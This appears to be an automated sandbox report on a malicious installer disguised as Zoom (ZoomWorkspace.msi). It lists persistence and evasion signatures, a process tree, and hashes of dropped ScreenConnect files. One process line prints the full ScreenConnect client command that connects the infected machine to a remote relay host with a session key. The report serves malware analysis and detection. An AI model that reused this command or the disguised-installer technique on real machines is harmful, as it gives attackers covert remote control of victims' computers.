Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    22/05/2026, 12:16

General

  • Target
    ZoomWorkspace.msi
  • Size 12.9MB
  • Sample260522-pflylaax8m
  • SHA256 8c90653cfd88ee763a8fe78700b5dbf96053c90b2e54fff3ebf86ce7076f3daf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ZoomWorkspace.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4488
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3788
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DC6AF81C26CF9420F8BA8E4954C27474 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2076
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2A38.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240659437 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1368
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4712
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8EC460DA9366578501BB5D856777C93F
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2344
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 58460EFCA10CC440D4A72B41A7D6549A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1576
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3136
    • C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=newgnms.top&p=8041&s=b1db1aeb-f397-4ceb-900b-d7ffcdabd1e2&k=BgIAAACkAABSU0ExAAgAAAEAAQDVUfFqsQr0tWl86KGSz58dd7kmbHKKjh0tzhXnGW93ReuN%2fL27p%2bf6UUl8t%2bait6qSM%2byJRlpytYT3xmsbJ0RRNs1EnQ3jpeJdkLryNlgsbNgN%2fXkv3zWQURAmRM5Cy5pqw10jgUxZHtC%2bhcEYv1r%2fAMYKQSxLsIpXgoGCvhfPeRNTydgQa%2fAEXUG31iG%2ftFry7fFLYjBVt2BdxOaoLr%2fc3xhLz0fxHZV5bstCTvcO1aZwYXLY28RpPFRJdF9z2sE4s1wEXSWo%2feBFu6RI4GVPwLm5FOkT8kyJ9%2b4No4n8FQQAEH%2bRAIIVyfJ8nIT7gNgf%2bpGLOuGHiSS7JSVXSKDt&c=adobe&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:220
      • C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsClient.exe" "RunRole" "129effb3-3a9f-4da3-bb4a-dfe0d7c93d95" "User"
        2⤵
        • Executes dropped EXE
        PID:3856

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e586d1e.rbs

          • Path C:\Config.Msi\e586d1e.rbs
          • Size 214KB
          • SHA256 0733ee611a588c272f00ef8bb669d22ebbd733be8683d47203cabfaabe821b2e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\Client.Override.resources
          • Size 40KB
          • SHA256 b6018ab4c594476acc5df46ae98944cb7dc0b4e20e913cadd13075570774fad2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\app.config
          • Size 1KB
          • SHA256 b5e7754b24d9e4e2f638be17b7f2ea2c3bb6f9ded1ce858f90a5dfe53019dad6
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\system.config
          • Size 945B
          • SHA256 28a29a38bd5826d07ef427ea46775ad29b0117180778fedd9ce5898b872ed8ef
          • MD5 SHA1 SHA512 TLSH

          MSI2A38.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A38.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A38.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A38.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A38.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A38.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6EB4.tmp

          • Path C:\Windows\Installer\MSI6EB4.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e586d1d.msi

          • Path C:\Windows\Installer\e586d1d.msi
          • Size 12.9MB
          • SHA256 8c90653cfd88ee763a8fe78700b5dbf96053c90b2e54fff3ebf86ce7076f3daf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 f955106d6053a4935d04570c45defc7df91c8d89b7bf1e733a075842ec07cad8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {8f7cda2c-8ed7-449a-abdb-e5dc6c0cc594}_OnDiskSnapshotProp

          • Path \??\Volume{681e74ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{8f7cda2c-8ed7-449a-abdb-e5dc6c0cc594}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 ffba18ec1a2d5705de89e111ae0614be0bfd4e313789239230a5d233a2442e7f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/220-102-0x0000000003FE0000-0x0000000004016000-memory.dmp

          memory/220-103-0x0000000004380000-0x0000000004412000-memory.dmp

          memory/220-107-0x0000000004570000-0x0000000004645000-memory.dmp

          memory/220-98-0x0000000003F90000-0x0000000003FE0000-memory.dmp

          memory/220-105-0x00000000042E0000-0x0000000004321000-memory.dmp

          memory/220-76-0x0000000003BE0000-0x0000000003BF8000-memory.dmp

          memory/1368-22-0x0000000004FE0000-0x0000000004FEA000-memory.dmp

          memory/1368-26-0x0000000005080000-0x000000000510C000-memory.dmp

          memory/1368-18-0x0000000004FB0000-0x0000000004FDE000-memory.dmp

          memory/1368-31-0x0000000005A80000-0x0000000006026000-memory.dmp

          memory/1368-30-0x0000000005320000-0x00000000054CC000-memory.dmp

          memory/3856-116-0x0000000000960000-0x00000000009F8000-memory.dmp

          memory/3856-117-0x000000001CB40000-0x000000001CB76000-memory.dmp

          memory/3856-119-0x000000001D160000-0x000000001D30C000-memory.dmp

          memory/3856-118-0x000000001CF20000-0x000000001CFAC000-memory.dmp

          memory/3856-120-0x000000001E550000-0x000000001E6D8000-memory.dmp

          memory/3856-121-0x0000000001350000-0x0000000001368000-memory.dmp

          memory/3856-122-0x0000000002C50000-0x0000000002C68000-memory.dmp